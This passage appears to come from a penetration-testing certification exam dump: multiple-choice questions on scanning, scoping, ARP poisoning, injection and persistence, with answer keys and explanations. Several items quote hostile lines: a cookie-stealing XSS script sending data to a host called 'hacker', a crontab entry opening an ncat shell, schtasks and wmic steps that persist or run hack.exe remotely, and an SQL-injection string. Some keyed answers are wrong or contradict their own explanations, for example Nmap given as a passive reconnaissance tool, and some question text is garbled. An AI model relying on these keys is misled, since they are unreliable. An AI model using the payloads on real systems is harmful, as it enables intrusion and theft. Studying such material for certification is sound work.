- C. Controllers will not validate the origin of commands.
- D. Supervisory systems will detect a malicious injection of code/commands.

**Answer: C**

**Explanation:**

PLCs are programmable logic controllers that execute logic operations on input signals from sensors and output signals to actuators. They are often connected to supervisory systems that provide human-machine interfaces and data acquisition functions. If both systems are connected to the company intranet, they are exposed to potential attacks from internal or external adversaries. A valid assumption is that controllers will not validate the origin of commands, meaning that an attacker can send malicious commands to manipulate or sabotage the industrial process. The other assumptions are not valid because they contradict the facts or common practices.

**NEW QUESTION 230**

A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, ..., 65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org) Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

- A. Telnet
- B. HTTP
- C. SMTP
- D. DNS
- E. NTP
- F. SNMP

**Answer: BD**

**NEW QUESTION 235**

A penetration tester wrote the following script to be used in one engagement:

```
#!/usr/bin/python
import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Too few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()
try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        results = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))
except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

**Answer:** A

**Explanation:**

The script will perform a port scan on the target IP address, looking for open ports on a list of common ports. A port scan is a technique that probes a network or a system for open ports, which can reveal potential vulnerabilities or services running on the host.

**NEW QUESTION 239**

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

- A. Statement of work
- B. Program scope
- C. Non-disclosure agreement
- D. Rules of engagement

**Answer:** D

**Explanation:**

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

**NEW QUESTION 242**

A penetration tester wants to validate the effectiveness of a DLP product by attempting exfiltration of data using email attachments. Which of the following techniques should the tester select to accomplish this task?

- A. Steganography
- B. Metadata removal
- C. Encryption
- D. Encode64

**Answer:** B

**Explanation:**

All other answers are a form of encryption or randomizing the data.

**NEW QUESTION 245**

A company provided the following network scope for a penetration test:

- \* 169.137.1.0/24
- \* 221.10.1.0/24
- \* 149.14.1.0/24

A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party. Which of the following stakeholders is responsible for this mistake?

- A. The company that requested the penetration test
- B. The penetration testing company
- C. The target host's owner
- D. The penetration tester
- E. The subcontractor supporting the test



**Answer:** A

**Explanation:**

The company that requested the penetration test is responsible for providing the correct and accurate network scope for the test. The network scope defines the boundaries and limitations of the test, such as which IP addresses, domains, systems, or networks are in scope or out of scope. If the company provided an incorrect network scope that included an IP address that belongs to a third party, then it is responsible for this mistake. The penetration testing company, the target host's owner, the penetration tester, and the subcontractor supporting the test are not responsible for this mistake, as they relied on the network scope provided by the company that requested the penetration test.

**NEW QUESTION 248**

Penetration on an assessment for a client organization, a penetration tester notices numerous outdated software package versions were installed ...s-critical servers. Which of the following would best mitigate this issue?

- A. Implementation of patching and change control programs
- B. Revision of client scripts used to perform system updates
- C. Remedial training for the client's systems administrators
- D. Refrainment from patching systems until quality assurance approves

**Answer:** A

**Explanation:**

The best way to mitigate this issue is to implement patching and change control programs, which are processes that involve applying updates or fixes to software packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency, compatibility, and security. Patching and change control programs can help prevent or reduce the risk of attacks that exploit outdated software package versions, which may contain known or unknown vulnerabilities that can compromise the security or functionality of the systems or servers. Patching and change control programs can be implemented by using tools such as WSUS, which is a tool that can manage and distribute updates for Windows systems and applications<sup>1</sup>, or Git, which is a tool that can track and control changes to source code or files<sup>2</sup>. The other options are not valid ways to mitigate this issue. Revision of client scripts used to perform system updates is not a sufficient way to mitigate this issue, as it may not address the root cause of why the software package versions are outdated, such as lack of awareness, resources, or policies. Remedial training for the client's systems administrators is not a direct way to mitigate this issue, as it may not result in immediate or effective actions to update the software package versions. Refrainment from patching systems until quality assurance approves is not a way to mitigate this issue, but rather a potential cause or barrier for why the software package versions are outdated.

**NEW QUESTION 251**

A consultant is reviewing the following output after reports of intermittent connectivity issues:

```
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]
? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]
? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet]
```

Which of the following is MOST likely to be reported by the consultant?

- A. A device on the network has an IP address in the wrong subnet.
- B. A multicast session was initiated using the wrong multicast group.
- C. An ARP flooding attack is using the broadcast address to perform DDoS.
- D. A device on the network has poisoned the ARP cache.

**Answer:** D

**Explanation:**

The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address. With this on the same network, intermittent connectivity will be inevitable as long as the gateway remains unreachable on the IP known by the others machines on the network, and given that the new machine claiming to be the gateway has not been configured to route traffic.

The output shows an ARP table that contains entries for IP addresses and their corresponding MAC addresses on a local network interface (en0). ARP stands for Address Resolution Protocol and is used to map IP addresses to MAC addresses on a network. However, one entry in the table is suspicious:

```
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] This entry has the same MAC address as another entry:
```

```
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
```

This indicates that a device on the network has poisoned the ARP cache by sending false ARP replies that associate its MAC address with multiple IP addresses, including 192.168.1.136 and 192.168.1.1 (which is likely the gateway address). This allows the device to intercept or redirect traffic intended for those IP addresses.

**NEW QUESTION 256**

A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

- A. Understanding the tactics of a security intrusion can help disrupt them.
- B. Scripts that are part of the framework can be imported directly into SIEM tools.
- C. The methodology can be used to estimate the cost of an incident better.
- D. The framework is static and ensures stability of a security program overtime.

**Answer:** A

**NEW QUESTION 261**

During a penetration tester found a web component with no authentication requirements. The web component also allows file uploads and is hosted on one of the target public web the following actions should the penetration tester perform next?

- A. Continue the assessment and mark the finding as critical.



- B. Attempting to remediate the issue temporally.
- C. Notify the primary contact immediately.
- D. Shutting down the web server until the assessment is finished

**Answer: C**

**Explanation:**

The penetration tester should notify the primary contact immediately, as this is a serious security issue that may compromise the confidentiality, integrity, and availability of the web server and its data. A web component with no authentication requirements and file upload capabilities can allow an attacker to upload malicious files, such as web shells, backdoors, or malware, to the web server and gain remote access or execute arbitrary commands on the web server. This can lead to further attacks, such as data theft, data corruption, privilege escalation, lateral movement, or denial of service. The penetration tester should inform the primary contact of the issue and its potential impact, and provide recommendations for remediation, such as implementing authentication mechanisms, restricting file upload types and sizes, or scanning uploaded files for malware. The other options are not appropriate actions for the penetration tester at this stage. Continuing the assessment and marking the finding as critical would delay the notification and remediation of the issue, which may increase the risk of exploitation by other attackers. Attempting to remediate the issue temporarily would interfere with the normal operation of the web server and may cause unintended consequences or damage. Shutting down the web server until the assessment is finished would disrupt the availability of the web server and its services, and may violate the scope or agreement of the assessment.

**NEW QUESTION 264**

A penetration tester performs the following command: `curl -I -http2 https://www.comptia.org`  
Which of the following snippets of output will the tester MOST likely receive?

- A. 

```
HTTP/2 200
...
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
referrer-policy: strict-origin
strict-transport-security: max-age=31536000; includeSubdomains; preload
...
```
- B. 

```
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
...
</head>
...
<body lang="en">
</body>
</html>
```
- C. 

% Total	% Received	% Xferd	Average Dload	Speed Upload	Time Total	Time Spent	Time Left	Current Speed	
100	1698k	100 1698k	0 0	1566k	0	0:00:01	0:00:01	--:-- --:--	1565k
- D. 

```
[#####] 100%
```

- A. Option A
- B. Option B
- C. Option C
- D. Option D

**Answer: A**

**NEW QUESTION 266**

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:

```
* Connected to 10.2.11.144 (::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
```

&lt;/head&gt;

Which of the following tools would be BEST for the penetration tester to use to explore this site further?

- A. Burp Suite
- B. DirBuster
- C. WPScan
- D. OWASP ZAP

**Answer: C**

**Explanation:**

WPScan is a tool that can be used to scan WordPress sites for vulnerabilities, such as outdated plugins, themes, or core files, misconfigured settings, weak passwords, or user enumeration. The curl command reveals that the site is running WordPress and has a readme.html file that may disclose the version number. Therefore, WPScan would be the best tool to use to explore this site further. Burp Suite is a tool that can be used to intercept and modify web requests and responses, but it does not specialize in WordPress scanning. DirBuster is a tool that can be used to brute-force directories and files on web servers, but it does not exploit WordPress vulnerabilities. OWASP ZAP is a tool that can be used to perform web application security testing, but it does not focus on WordPress scanning.

**NEW QUESTION 269**

A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

- A. The penetration tester conducts a retest.
- B. The penetration tester deletes all scripts from the client machines.
- C. The client applies patches to the systems.
- D. The client clears system logs generated during the test.

**Answer: C**

**NEW QUESTION 274**

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUiIQQU1FOnNIY3JldHBhc3N3b3jk

- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

Port	State	Service	Version
22/tcp	open	ssh	Cisco SSH 1.25 (protocol 2.0
80/tcp	open	http	Cisco IOS http config
_https-title: Did not follow redirect to https://10.50.100.16			
443/tcp	open	https	Cisco IOS https config

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

**Answer: DE**

**Explanation:**

The key findings indicate that the network device is vulnerable to several attacks, such as sniffing, brute-forcing, or exploiting the SSH daemon. To prevent these attacks, the best recommendations are to create an out-of-band network for management, which means a separate network that is not accessible from the production network, and to implement a better method for authentication, such as SSH keys or certificates. The other options are not as effective or relevant.

**NEW QUESTION 279**

A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?

- A. /var/log/messages
- B. /var/log/last\_user
- C. /var/log/user\_log
- D. /var/log/lastlog

**Answer: D**

**Explanation:**

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

**NEW QUESTION 284**

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:

- Have a full TCP connection
  - Send a “hello” payload
  - Wait for a response
  - Send a string of characters longer than 16 bytes
- Which of the following approaches would BEST support the objective?

- A. Run `nmap -Pn -sV --script vuln <IP address>`.
- B. Employ an OpenVAS simple scan against the TCP port of the host.
- C. Create a script in the Lua language and use it with NSE.
- D. Perform a credentialed scan with Nessus.

**Answer: C**

**Explanation:**

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language ) to automate a wide variety of networking tasks. <https://nmap.org>  
Creating a script in the Lua language and using it with NSE would best support the objective of finding a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. NSE (Nmap Scripting Engine) is a feature of Nmap that allows users to write and run scripts to automate tasks or perform advanced scans. Lua is a scripting language that NSE supports and can be used to create custom scripts for Nmap.

**NEW QUESTION 285**

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

- A. Run `nmap` with the `-o`, `-p22`, and `-sC` options set against the target
- B. Run `nmap` with the `-sV` and `-p22` options set against the target
- C. Run `nmap` with the `--script vulners` option set against the target
- D. Run `nmap` with the `-sA` option set against the target

**Answer: C**

**Explanation:**

Running `nmap` with the `--script vulners` option set against the target would best support the task of identifying CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running, as it will use an NSE script that checks for vulnerabilities based on version information from various sources, such as CVE databases2. The `--script` option allows users to specify which NSE scripts to run during an Nmap scan.

**NEW QUESTION 287**

A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:

```
sendp(Ether()/dot1q(vlan=100)/dotq(vlan=50)/IP(dst="172.16.50.10")/ICMP())
```

Which of the following represents what the penetration tester is attempting to accomplish?

- A. DNS cache poisoning
- B. MAC spoofing
- C. ARP poisoning
- D. Double-tagging attack

**Answer: D**

**Explanation:**

<https://scapy.readthedocs.io/en/latest/usage.html>

**NEW QUESTION 289**

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

- A. `schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe`
- B. `wmic startup get caption,command`
- C. `crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash" | crontab 2>/dev/null`
- D. `sudo useradd -ou 0 -g 0 user`

**Answer: A**

**NEW QUESTION 291**

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

- A. An unknown-environment assessment
- B. A known-environment assessment
- C. A red-team assessment
- D. A compliance-based assessment

**Answer: C**

**Explanation:**

A red-team assessment is a type of penetration testing that simulates a real-world attack scenario with the goal of accessing specific data or systems. A red-team assessment is different from an unknown-environment assessment, which does not have a predefined objective and focuses on discovering as much information

as possible about the target. A known-environment assessment is a type of penetration testing that involves cooperation and communication with the target organization, and may not focus on specific data or systems. A compliance-based assessment is a type of penetration testing that aims to meet certain regulatory or industry standards, and may not focus on specific data or systems.

**NEW QUESTION 296**

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Web-application firewall
- B. Parameterized queries
- C. Output encoding
- D. Session tokens
- E. Input validation
- F. Base64 encoding

**Answer:** CE

**Explanation:**

Encoding (commonly called “Output Encoding”) involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the &lt; string when writing to an HTML page.

Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

**NEW QUESTION 299**

In Python socket programming, SOCK\_DGRAM type is:

- A. reliable.
- B. matrixed.
- C. connectionless.
- D. slower.

**Answer:** C

**Explanation:**

In Python socket programming, SOCK\_DGRAM type is connectionless. This means that the socket does not establish a reliable connection between the sender and the receiver, and does not guarantee that the packets will arrive in order or without errors. SOCK\_DGRAM type is used for UDP (User Datagram Protocol) sockets, which are faster and simpler than TCP (Transmission Control Protocol) sockets.

**NEW QUESTION 303**

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

- A. Manually check the version number of the VoIP service against the CVE release
- B. Test with proof-of-concept code from an exploit database
- C. Review SIP traffic from an on-path position to look for indicators of compromise
- D. Utilize an nmap -sV scan against the service

**Answer:** B

**Explanation:**

Testing with proof-of-concept code from an exploit database is the best method to support validation of the possible findings, as it will demonstrate whether the CVEs are actually exploitable on the target VoIP call manager. Proof-of-concept code is a piece of software or script that shows how an attacker can exploit a vulnerability in a system or application. An exploit database is a repository of publicly available exploits, such as Exploit Database or Metasploit.

**NEW QUESTION 306**

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\CS\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

**Answer:** CD



**Explanation:**

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

**NEW QUESTION 307**

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

- A. Attempting to tailgate an employee going into the client's workplace
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Performing spear phishing against employees by posing as senior management

**Answer:** D

**NEW QUESTION 308**

A consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host. Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?

- A. tcpdump
- B. Snort
- C. Nmap
- D. Netstat
- E. Fuzzer

**Answer:** C

**NEW QUESTION 309**

A penetration tester uncovers access keys within an organization's source code management solution. Which of the following would BEST address the issue? (Choose two.)

- A. Setting up a secret management solution for all items in the source code management system
- B. Implementing role-based access control on the source code management system
- C. Configuring multifactor authentication on the source code management system
- D. Leveraging a solution to scan for other similar instances in the source code management system
- E. Developing a secure software development life cycle process for committing code to the source code management system
- F. Creating a trigger that will prevent developers from including passwords in the source code management system

**Answer:** AE

**Explanation:**

Access keys are credentials that allow users to authenticate and authorize requests to a source code management (SCM) system, such as GitLab or AWS. Access keys should be kept secret and not exposed in plain text within the source code, as this can compromise the security and integrity of the SCM system and its data. Some possible options for addressing the issue of access keys within an organization's SCM solution are:

➤ Setting up a secret management solution for all items in the SCM system: This is a tool or service that securely stores, manages, and distributes secrets such as access keys, passwords, tokens, certificates, etc. A secret management solution can help prevent secrets from being exposed in plain text within the source code or configuration files<sup>3456</sup>.

➤ Developing a secure software development life cycle (SDLC) process for committing code to the SCM system: This is a framework or methodology that defines how software is developed, tested, deployed, and maintained. A secure SDLC process can help ensure that best practices for security are followed throughout the software development process, such as code reviews, static analysis tools, vulnerability scanning tools, etc. A secure SDLC process can help detect and prevent access keys from being included in the source code before they are committed to the SCM system<sup>1</sup>.

**NEW QUESTION 313**

Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance?

- A. Shodan
- B. Nmap
- C. WebScarab-NG
- D. Nessus

**Answer:** B

**NEW QUESTION 318**

A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

- A. Open-source research
- B. A ping sweep
- C. Traffic sniffing
- D. Port knocking
- E. A vulnerability scan
- F. An Nmap scan

**Answer:** AC

**Explanation:**

Open-source research and traffic sniffing are two activities that have a minimal chance of detection, as they do not involve sending any packets or requests to the target network or system. Open-source research is the process of gathering information from publicly available sources, such as websites, social media, blogs, forums, etc. Traffic sniffing is the process of capturing and analyzing network packets that are transmitted over a shared medium, such as wireless or Ethernet.

**NEW QUESTION 322**

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

- A. windows/x64/meterpreter/reverse\_tcp
- B. windows/x64/meterpreter/reverse\_http
- C. windows/x64/shell\_reverse\_tcp
- D. windows/x64/powershell\_reverse\_tcp
- E. windows/x64/meterpreter/reverse\_https

**Answer:** B

**Explanation:**

These two payloads are most likely to establish a shell successfully because they use HTTP or HTTPS protocols, which are commonly allowed by network devices and can bypass firewall rules or IPS signatures. The other payloads use TCP protocols, which are more likely to be blocked or detected by network devices.

**NEW QUESTION 324**

A compliance-based penetration test is primarily concerned with:

- A. obtaining PII from the protected network.
- B. bypassing protection on edge devices.
- C. determining the efficacy of a specific set of security standards.
- D. obtaining specific information from the protected network.

**Answer:** C

**NEW QUESTION 329**

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

- A. Whether the cloud service provider allows the penetration tester to test the environment
- B. Whether the specific cloud services are being used by the application
- C. The geographical location where the cloud services are running
- D. Whether the country where the cloud service is based has any impeding laws

**Answer:** A

**Explanation:**

The first thing that a penetration tester should consider when engaging in a penetration test in a cloud environment is whether the cloud service provider allows the tester to test the environment, as this will determine whether the tester has permission or authorization to perform the test. Some cloud service providers have policies or terms of service that prohibit or restrict penetration testing on their platforms or require prior approval or notification before testing. The tester should review these policies and obtain written consent from the provider before conducting any testing activities.

**NEW QUESTION 332**

Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

- A. The libraries may be vulnerable
- B. The licensing of software is ambiguous
- C. The libraries' code bases could be read by anyone
- D. The provenance of code is unknown
- E. The libraries may be unsupported
- F. The libraries may break the application

**Answer:** AD

**Explanation:**

➤ A. The libraries may be vulnerable to security bugs or exploits that can compromise the application or the data. According to the web search results, open-source libraries often have vulnerabilities that can be exploited by attackers, such as Heartbleed, Shellshock, DROWN, or npm left-pad1234. These vulnerabilities can allow attackers to extract sensitive data, execute arbitrary commands, decrypt encrypted traffic, or break the functionality of the application. Therefore, using third-party open-source libraries in application code poses a significant security risk.

➤ D. The provenance of code is unknown, meaning that the origin and history of the code are not verified or documented. According to the web search results, open-source libraries and client projects are developed and continuously evolving in an asynchronous way, which makes it difficult to track the changes and updates of the code2. Moreover, open-source libraries may have dependencies on other libraries, which can introduce additional risks or vulnerabilities1. Therefore, using third-party open-source libraries in application code poses a significant quality risk.

**NEW QUESTION 337**

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports
```

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 6.6.1p1
53/tcp	open	domain	dnsmasq 2.72
80/tcp	open	http	lighttpd
443/tcp	open	ssl/http	httpd

```
Service Info: OS: Linux; Device: router; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

**Answer: B**

**Explanation:**

The heart bleed bug is an open ssl bug which does not affect SSH Ref:

<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

**NEW QUESTION 340**

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.

Which of the following is most important for the penetration tester to define FIRST?

- A. Establish the format required by the client.
- B. Establish the threshold of risk to escalate to the client immediately.
- C. Establish the method of potential false positives.
- D. Establish the preferred day of the week for reporting.

**Answer: B**

**NEW QUESTION 342**

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

- A. Nmap
- B. Nikto
- C. Cain and Abel
- D. Ethercap

**Answer: B**

**Explanation:**

<https://hackertarget.com/nikto-website-scanner/>

**NEW QUESTION 346**

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.

Which of the following should be included as a recommendation in the remediation report?

- A. Stronger algorithmic requirements
- B. Access controls on the server
- C. Encryption on the user passwords
- D. A patch management program

**Answer: A**

**NEW QUESTION 347**

A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server:

x' OR role LIKE '%admin%

Which of the following should be recommended to remediate this vulnerability?

- A. Multifactor authentication
- B. Encrypted communications
- C. Secure software development life cycle
- D. Parameterized queries

**Answer:** D

**Explanation:**

The best recommendation to remediate this vulnerability is to use parameterized queries in the web application. Parameterized queries are a way of preventing SQL injection attacks by separating the SQL statements from the user input. This way, the user input is treated as a literal value and not as part of the SQL statement. For example, instead of using x' OR role LIKE '%admin%', the user input would be passed as a parameter to a prepared statement that would check if it matches any value in the database.

**NEW QUESTION 349**

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset($_POST['item'])) {  
    echo shell_exec("/http/www/cgi-bin/queryitem ".$_POST['item']);  
}
```

Which of the following tools will help the tester prepare an attack for this scenario?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

**Answer:** B

**Explanation:**

Netcat and cURL are tools that will help the tester prepare an attack for this scenario, as they can be used to establish a TCP connection, send payloads, and receive responses from the target web server. Netcat is a versatile tool that can create TCP or UDP connections and transfer data between hosts. cURL is a tool that can transfer data using various protocols, such as HTTP, FTP, SMTP, etc. The tester can use these tools to exploit the PHP script that executes shell commands with the value of the "item" variable.

**NEW QUESTION 353**

Which of the following assessment methods is MOST likely to cause harm to an ICS environment?

- A. Active scanning
- B. Ping sweep
- C. Protocol reversing
- D. Packet analysis

**Answer:** A

**NEW QUESTION 356**

A penetration tester is cleaning up and covering tracks at the conclusion of a penetration test. Which of the following should the tester be sure to remove from the system? (Choose two.)

- A. Spawned shells
- B. Created user accounts
- C. Server logs
- D. Administrator accounts
- E. Reboot system
- F. ARP cache

**Answer:** AB

**Explanation:**

Removing shells: Remove any shell programs installed when performing the pentest.

Removing tester-created credentials: Be sure to remove any user accounts created during the pentest. This includes backdoor accounts.

Removing tools: Remove any software tools that were installed on the customer's systems that were used to aid in the exploitation of systems.

**NEW QUESTION 358**

A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

- A. Prohibiting exploitation in the production environment
- B. Requiring all testers to review the scoping document carefully
- C. Never assessing the production networks
- D. Prohibiting testers from joining the team during the assessment

**Answer:** B

**Explanation:**

The scoping document is a document that defines the objectives, scope, limitations, deliverables, and expectations of a penetration testing engagement. It is an essential document that guides the penetration testing process and ensures that both the tester and the client agree on the terms and conditions of the test.

Requiring all testers to review the scoping document carefully would have most effectively prevented this misunderstanding, as it would have informed the new tester about the client's request not to test the production networks. The other options are not effective or realistic ways to prevent this misunderstanding.

**NEW QUESTION 361**



After running the enum4linux.pl command, a penetration tester received the following output:

```
=====
|   Enumerating Workgroup/Domain on 192.168.100.56   |
=====
[+] Got domain/workgroup name: WORKGROUP
=====
|   Session Check on 192.168.100.56   |
=====
[+] Server 192.168.100.56 allows sessions using username '', password ''
=====
|   Getting domain SID for 192.168.100.56   |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
